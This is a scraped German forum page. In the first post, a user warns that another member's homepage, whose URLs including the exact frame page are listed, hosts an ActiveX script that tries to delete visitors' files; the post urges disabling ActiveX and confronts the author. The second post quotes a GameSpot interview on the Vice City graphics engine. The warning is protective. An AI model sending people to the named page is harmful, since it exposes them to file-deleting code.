Dieses Script ist eigentlich selbsterklärend, ich hab mich hier: http://www.buschboard.de/NonCGI/Forum4/HTML/000219.html noch mal vergewissert, ob es wirklich das ist, wo für ich es halte (will ja keinen zu unrecht beschuldigen!). Downy hat seine Page in seine Sig aufgenommen, schaltet AUF JEDEN FALL ActiveX aus, bevor Ihr die Seite betretet! Seine url ist u.a.: http://www.downy2000.de - wie gesagt, schaltet bitte ActiveX auf jeden Fall auf Nachfrage. Dann werdet Ihr gefragt, ob Ihr es ausführen möchtet, was Ihr natürlich verneinen solltet.
Seine Seite ist in drei Frames gegliedert, das Script befindet sich im unteren. Die genaue URL ist: http://members.tripod.de/realdowny/a.html
Also seit verdammt vorsichtig.
@Downy mir fällt dazu nicht mehr viel ein, ich würde mal gern von Dir wissen, was Du Dir eigentlich dabei denkst, so nen Script da rein zu bauen (noch dazu in ne domain *rofl*, hätte ich wegen Dir eine Datei verloren, stände ich schon längst vor deiner Tür in Düsseldorf). Es ist ja schon wirklich assig, irgendwelchen Leuten die Daten zu löschen, bei bestimmten Arschlöchern kann ich das noch nachvollziehen, aber pauschal zu probieren jedem Besucher deiner Page die Dateien zu löschen ist ja wirklich unter aller Sau und ich weiü nicht, was Du hier verloren hast!
Nehm mal bitte dazu Stellung!!!
Ein Interessantes Interview auf Gamespot mit den Entwicklern, was vor allem auch auf die technischen Seiten des Spiels eingeht:

Zitat:
GameSpot: What can you tell us about Vice City's graphics engine?

Adam Fowler: Vice City's graphics engine is based loosely on the Grand Theft Auto III engine, with many improvements added. One of the obvious improvements is the addition of skins for the pedestrians. This allows our artists to produce much more realistic and graphically pleasing peds. One of the less obvious improvements is our use of occlusion volumes. This allows us to stop drawing objects that are hidden behind buildings, and scene complexity can therefore be increased because we are only drawing the objects the player can see.

GS: Grand Theft Auto III used a stylish sort of blur effect throughout the game. Will that same effect be in Vice City?

Aaron Garbut: The effect is there, but altered. The blur this time tends to echo the effect of strong sunshine bleaching out light colors.

GS: What kind of graphical or performance differences will we see between Grand Theft Auto III and Vice City?

AG: Generally, the level of detail in the game has at least doubled. We're using twice as many polys and textures on almost every object. The cars have loads more detail, and the peds are skinned, creating a far smoother look. We had a good look at how we built Liberty City and found what was fast and what was slow within the engine. Obbe [Vermeij], one of the technical directors, wrote a real-time occlusion system, which works out whether buildings are blocking the view and whether it needs to draw all the objects behind it. This has given us a lot of breathing space to squeeze in that extra detail. We've also got a lot of new effects: heat haze from the roads, flamethrowers, explosions, lots of aquatic life in the ocean, birds, flies, and a much better day-night cycle with lots of neon casting light everywhere. Generally speaking, as with the rest of the game, it's a case of bigger, better, faster, more.

AF: Vice City will be able to display more peds and more vehicles. Both pedestrians and vehicles have higher polygon counts. Pedestrians are now skinned, as mentioned. Because the level size has doubled in Vice City, the game has to display far more buildings at any one time. We've been able to include these increases because of improvements in the rendering engine and also improvements in our model culling methods. Vice City has many more visual effects, including sun reflection on water and raindrops on the screen.

GS: Did the fact that the game is a PlayStation 2 exclusive allow for more freedom?

AG: Not having to consider a second platform in development is always easier. Concentrating on the PS2 gives us a consistent platform across the entire team. That way, when one person finds a certain part of the game slow, we can be sure everyone else will and do something about it. In some respects this makes things easier, but...well, you can't make up excuses anymore.

GS: How did the game's setting affe
ct its art style and look?

AG: The 1980s are a constant throughout every aspect of the game--from the front-end and loading screens to the advertising on billboards in the game, the props that appear in the interiors, the furniture, and the clothes the people wear. It does make things a bit trickier. Setting things in the past ended up giving us a lot more work, as some of our props were not invented. It also meant redesigning every single car from Grand Theft Auto III, since none of them were around at that time, either. What it has done, though, is given us a lot of scope for humor and a sense of consistency that would otherwise be tricky to achieve.

GS: Where did you look for inspiration for the game's overall look?

AG: As with Grand Theft Auto III, we watched a lot of films and pored over every book we could find. The whole team also went to Miami and did a lot of research themselves. We got a lot of inspiration from Scarface, Carlito's Way, and, of course, Miami Vice. We wanted to make Vice City seem bright and colorful. I personally hate the kind of hyperreal photographic look that succeeds in making a game look either brown or gray. If I wanted to spend time in a gray city, I'd go back to our old offices in Dundee and stand in the rain.

GS: How did you go about conveying location through the graphics?

AG: Basing the city on such a strongly visual city as Miami made things pretty easy. It's such a distinct city, and it's great fun to model, with all the curves and overhangs on the art deco buildings. Obviously, the lighting, weather, and water had to change from the rainy, dull, and morbid Liberty City. We concentrated on making things bright, colorful, and pastel-shaded. The water changed a lot, with environment mapping to make it seem reflective and add sparkles glinting from the sun on the surface. It's also transparent now, as we wanted it to seem clean and clear (although it did mean modeling the entire seabed too.)

GS: What are you proudest of about the Grand Theft Auto: Vice City engine?

AG: As with Grand Theft Auto III, the draw distance. There are very few games with this much detail and action taking place onscreen and this number of characters and vehicles around. I don't think there are any games that do that and still draw 2.5km into the distance at all times.

AF: Probably the best thing about the Vice City engine is the same as with Grand Theft Auto III--the streaming technology. We spent a lot of time on this when developing Grand Theft Auto III, and without it, the game would not have worked. Again, with Vice City, we spent a lot of time improving the streaming. In Vice City it doesn't just stream textures and models, it also streams collision and animation. The animation streaming means we can have special one-off animations like the skaters, joggers, sunbathers, and so on.

GS: How many different pedestrian skins and models are in the game?

AG: There will be 110 different ambient pedestrian models on the street and around 50 story characters. Each character has a higher poly count and twice the number of textures than the characters i
n Grand Theft Auto III, and they're fully skinned to be nice and smooth with no segmented joins.

GS: What sort of new weapon and explosion effects can we expect to see?

AG: There are heat haze effects on some of the weapons such as the flamethrower. The explosion effect has been revamped, with the main force of the explosion emitting from the fuel tank, which gives quite a spectacular result. Every other effect has been enhanced and tweaked in some way--nothing remains the same as Grand Theft Auto III.

GS: Sounds great, guys. Thanks for your time.

Imo auch mal sehr lesenswert.
Auf der Gamespotseite gibts auch ein paar neue Bilder.

>